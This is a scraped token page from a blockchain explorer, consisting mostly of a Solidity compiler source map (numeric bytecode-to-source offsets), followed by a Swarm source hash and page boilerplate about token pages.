9:52:0;;;;;;;;;;;;;;;7769:12;;:21;;7786:3;7769:16;:21::i;:::-;7754:12;:36;7833:6;;-1:-1:-1;;;;;7833:6:0;7823:17;;;;:9;:17;;;;;;:26;;7845:3;7823:21;:26::i;:::-;7813:6;;-1:-1:-1;;;;;7813:6:0;;;7803:17;;;;:9;:17;;;;;;;;:46;;;;7867:33;;;;;;;;;;;7803:17;;-1:-1:-1;;;;;;;;;;;7867:33:0;;;;;;;;;7623:285;;:::o;5638:87::-;5710:5;5703:12;;;;;;;-1:-1:-1;;5703:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5675:13;;5703:12;;5710:5;;5703:12;;5710:5;5703:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5638:87;:::o;7331:169::-;7414:4;7431:39;7440:12;:10;:12::i;:::-;7454:7;7463:6;7431:8;:39::i;:::-;-1:-1:-1;7488:4:0;7331:169;;;;:::o;5927:104::-;6009:12;;5927:104;:::o;6839:321::-;6945:4;6962:36;6972:6;6980:9;6991:6;6962:9;:36::i;:::-;7009:121;7018:6;7026:12;:10;:12::i;:::-;7040:89;7078:6;7040:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7040:19:0;;:11;:19;;;;;;;;;;;7060:12;:10;:12::i;:::-;-1:-1:-1;;;;;7040:33:0;;;;;;;;;;;;-1:-1:-1;7040:33:0;;;:89;:37;:89::i;:::-;7009:8;:121::i;:::-;-1:-1:-1;7148:4:0;6839:321;;;;;:::o;5832:87::-;5900:9;;;;5832:87;:::o;8734:436::-;9353:42;9339:10;:56;9331:92;;;;;-1:-1:-1;;;9331:92:0;;;;;;;;;;;;-1:-1:-1;;;9331:92:0;;;;;;;;;;;;;;;8821:9:::1;8816:339;8840:10;:17;8836:1;:21;8816:339;;;8885:11;8899:9;:24;8909:10;8920:1;8909:13;;;;;;;;;;;;;;-1:-1:-1::0;;;;;8899:24:0::1;-1:-1:-1::0;;;;;8899:24:0::1;;;;;;;;;;;;;8885:38;;8971:71;9000:3;8971:71;;;;;;;;;;;;;;;;;:9;:24;8981:10;8992:1;8981:13;;;;;;;;;;;;;;-1:-1:-1::0;;;;;8971:24:0::1;-1:-1:-1::0;;;;;8971:24:0::1;;;;;;;;;;;;;:28;;:71;;;;;:::i;:::-;8944:9;:24;8954:10;8965:1;8954:13;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8944:24:0::1;::::0;;;;::::1;::::0;;;;;;-1:-1:-1;8944:24:0;;;:98;;;;9087:21;;;:9:::1;:21:::0;;;;:30:::1;::::0;9113:3;9087:25:::1;:30::i;:::-;9063:21;::::0;;:9:::1;:21;::::0;;;;:54;;;;8859:3;;;::::1;::::0;-1:-1:-1;8816:339:0::1;;;;8734:436:::0;:::o;9435:212::-;9237:6;;-1:-1:-1;;;;;9237:6:0;9223:10;:20;9215:56;;;;;-1:-1:-1;;;9215:56:0;;;;;;;;;;;;-1:-1:-1;;;9215:56:0;;;;;;;;;;;;;;;9557:9:::1;9552:94;9576:9;:16;9572:1;:20;9552:94;;;9618:9;9628:1;9618:12;;;;;;;;;;;;;;-1:-1:-1::0;;;;;9605:39:0::1;9614:2;-1:-1:-1::0;;;;;9605:39:0::1;-1:-1:-1::0;;;;;;;;;;;9632:8:0::1;9641:1;9632:11;;;;;;;;;;;;;;9605:39;;;;;;;;;;;;;;;;;;9594:3;;9552:94;;;;9435:212:::0;;;:::o;8515:209::-;9353:42;9339:10;:56;9331:92;;;;;-1:-1:-1;;;9331:92:0;;;;;;;;;;;;-1:-1:-1;;;9331:92:0;;;;;;;;;;;;;;;8631:9:::1;8626:97;8650:9;:16;8646:1;:20;8626:97;;;8695:9;8705:1;8695:12;;;;;;;;;;;;;;-1:-1:-1::0;;;;;8679:42:0::1;8688:5;-1:-1:-1::0;;;;;8679:42:0::1;-1:-1:-1::0;;;;;;;;;;;8709:8:0::1;8718:1;8709:11;;;;;;;;;;;;;;8679:42;;;;;;;;;;;;;;;;;;8668:3;;8626:97;;6039:123:::0;-1:-1:-1;;;;;6134:18:0;6105:7;6134:18;;;:9;:18;;;;;;;6039:123::o;7506:51::-;9237:6;;-1:-1:-1;;;;;9237:6:0;9223:10;:20;9215:56;;;;;-1:-1:-1;;;9215:56:0;;;;;;;;;;;;-1:-1:-1;;;9215:56:0;;;;;;;;;;;;;;;7506:51::o;5733:91::-;5807:7;5800:14;;;;;;;;-1:-1:-1;;5800:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5772:13;;5800:14;;5807:7;;5800:14;;5807:7;5800:14;;;;;;;;;;;;;;;;;;;;;;;;6634:197;6720:4;6747:42;6757:12;:10;:12::i;:::-;6771:9;6782:6;6747:9;:42::i;5292:66::-;;;-1:-1:-1;;;;;5292:66:0;;:::o;7170:151::-;-1:-1:-1;;;;;7286:18:0;;;7259:7;7286:18;;;;;;;;;;;:27;;;;;;;;;;;;;7170:151::o;65:191::-;123:7;155:5;;;189:6;;;;181:46;;;;;-1:-1:-1;;;181:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;247:1;65:191;-1:-1:-1;;;65:191:0:o;3923:122::-;4021:10;3923:122;:::o;6268:354::-;-1:-1:-1;;;;;6372:19:0;;6364:68;;;;-1:-1:-1;;;6364:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6453:21:0;;6445:68;;;;-1:-1:-1;;;6445:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6526:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;6580:32;;;;;;;;;;;;;;;;;6268:354;;;:::o;7920:587::-;-1:-1:-1;;;;;8028:20:0;;8020:70;;;;-1:-1:-1;;;8020:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8111:23:0;;8103:71;;;;-1:-1:-1;;;8103:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8207;8229:6;8207:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8207:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;8187:17:0;;;;;;;:9;:17;;;;;;:91;;;;8314:20;;;;;;;:32;;8339:6;8314:24;:32::i;:::-;-1:-1:-1;;;;;8291:20:0;;;;;;;:9;:20;;;;;:55;;;;8381:6;;8371:16;;;8381:6;;8371:16;8367:37;;;8398:4;;-1:-1:-1;;;;;8398:4:0;;-1:-1:-1;8367:37:0;8421:6;;-1:-1:-1;;;;;8408:19:0;;;8421:6;;8408:19;8404:43;;;8441:4;;-1:-1:-1;;;;;8441:4:0;;-1:-1:-1;8404:43:0;8479:9;-1:-1:-1;;;;;8462:35:0;8471:6;-1:-1:-1;;;;;8462:35:0;-1:-1:-1;;;;;;;;;;;8490:6:0;8462:35;;;;;;;;;;;;;;;;;;7920:587;;;:::o;264:212::-;350:7;396:12;388:6;;;;380:29;;;;-1:-1:-1;;;380:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;442:5:0;;;264:212::o
Swarm Source
ipfs://84876666452f89d39bf4b1d4b6daa0f474b68f9e77cf0e5775e8cc4ad5713a8e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.